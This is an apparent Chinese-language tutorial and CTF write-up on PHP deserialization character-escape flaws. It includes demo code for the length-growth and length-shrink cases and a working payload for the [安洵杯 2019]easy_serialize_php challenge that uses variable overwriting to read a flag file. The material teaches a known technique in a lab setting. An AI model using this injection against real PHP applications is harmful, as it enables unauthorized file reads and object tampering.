PHP反序列化漏洞-字符逃逸

原理

一般由preg_replace/str_replace导致,序列化后的字符串发生了字符增多或减少的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class A {
public $name='izayoih';
public $age='10086';
}
$a = new A();
$b = preg_replace('/h/i', 'hhh', serialize($a));
$c = preg_replace('/h/i', '', serialize($a));
echo $b;
echo $c;
?>

// O:1:"A":2:{s:4:"name";s:7:"izayoihhh";s:3:"age";s:5:"10086";}
// O:1:"A":2:{s:4:"name";s:7:"izayoi";s:3:"age";s:5:"10086";}

PHP的反序列化操作会在匹配到;}后停止反序列化,舍弃后续的字符

此时就可以通过构造值、构造键等方式,反序列化出一个我们想要的对象,从而绕过某些限制,进行后续的操作

字符增多

1
2
3
4
5
6
7
8
9
10
<?php
class A {
public $name='izayoihhhhhhhhhhh";s:3:"age";s:2:"18";}';
public $age='10086';
}
$a = new A();
$b = preg_replace('/h/i', 'hhh', serialize($a));
echo $b;
var_dump(unserialize($b));
?>

首先在$name末端添加需要构造的内容:";s:3:"age";s:2:"18";}

新增的长度为22,而preg_replace会将h变为hhh,即新增两个字符,因此需要11个h来实现提前闭合

输出一下会发现age变成了我们想要的18

1
2
3
4
5
6
7
8
O:1:"A":2:{s:4:"name";s:39:"izayoihhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh";s:3:"age";s:2:"18";}";s:3:"age";s:5:"10086";}

object(A)#2 (2) {
["name"]=>
string(39) "izayoihhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh"
["age"]=>
string(2) "18"
}

O:1:"A":2:{s:4:"name";s:39:"izayoihhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh";s:3:"age";s:2:"18";}"刚好满足反序列化要求,后续的;s:3:"age";s:5:"10086";}直接被无视

字符减少

1
2
3
4
5
6
7
8
9
<?php
class A {
public $name='izayoih';
public $age='10086";s:3:"age";s:2:"18";}';
}
$a = new A();
$c = preg_replace('/h/i', '', serialize($a));
echo $c;
?>

这回把要构造的内容加到age上,把原先的10086吃了作为name的一部分,先输出一下看看

O:1:"A":2:{s:4:"name";s:7:"izayoi";s:3:"age";s:26:"10086";s:3:"age";s:2:"18";}";}

可以看到为了让age变18就得吃了izayoi";s:3:"age";s:26:"10086这部分,让这部分变为name的值,而这部分长度为29,原先的长度为7,所以name要加上22个h

1
2
3
4
5
6
7
8
9
<?php
class A {
public $name='izayoihhhhhhhhhhhhhhhhhhhhhhh';
public $age='10086";s:3:"age";s:2:"18";}';
}
$a = new A();
$c = preg_replace('/h/i', '', serialize($a));
var_dump(unserialize)
?>
1
2
3
4
5
6
object(A)#2 (2) {
["name"]=>
string(29) "izayoi";s:3:"age";s:27:"10086"
["age"]=>
string(2) "18"
}

WriteUp [安洵杯 2019]easy_serialize_php (字符减少)

题目连接(buuctf)

image-20220907143134870

题目提示了要看phpinfo,那就看一眼,找到一个奇怪的php,结合题目应该是要用file_get_contents获取内容,即$userinfo['img']base64解码后需要得到字符串d0g3_f1ag.php

image-20220907143339828

$userinfo$serialize_info反序列化后产物,$serialize_info$_SESSION序列化后,通过filter函数处理后获得,再结合这一段

1
2
3
4
5
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

告诉我们要传个img_path的参数,但是这段除了给img_path做了base64加密处理以外还进行了sha1,所以传了也没啥用,因此再往上看

1
2
3
4
5
6
7
8
if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

这段重置了$_SESSION,又提取了$_POST,不知道要干嘛,再往上看

1
2
3
4
5
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

先前提到的filter函数,把array中提到的关键字直接替换为空了,结合之前的序列化反序列化操作,判断出要利用反序列化的字符逃逸(字符减少类型),构造出一个$_SESSION对象,使得$_SESSION['img']的值为base64后的d0g3_f1ag.php

extract($_POST)提示用变量覆盖的方式传入$_SESSION,但是如果直接传_SESSION[img]会被后续代码直接覆盖掉,所以要把值写进其他变量中进行绕过

先构造;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";},先本地输出看看效果:

image-20220907162050823

可以看到s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="是个完整的键值对,前面这一段格式不太正确,所以再加一段构成键值对:

image-20220907163008625

看上去比较乱,其实就是这么一个数组array('aaa";s:48:' => 'a', 'img' => 'ZDBnM19mMWFnLnBocA=='),就是说第一个元素的key变成了aaa";s:48:

但此时反序列化是会报错的,因为key的长度明显不是3,所以需要利用filter,构造一个合适的key,使得这一串字符串符合反序列化的规则,这题filter函数又有三字节又有四字节,挺好凑的,简单凑一个,顺便试一下反序列化:

image-20220907163917956

反序列化成功,利用这个payload查看一下d0g3_f1ag.php内容

1
2
GET /index.php?f=show_image
POST _SESSION[flagflagflag]=1111";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

image-20220907164307530

好嘛还有一层,再重新构造一下,把base64那串替换一下就行(注意长度变化),得到flag,over

image-20220907164530321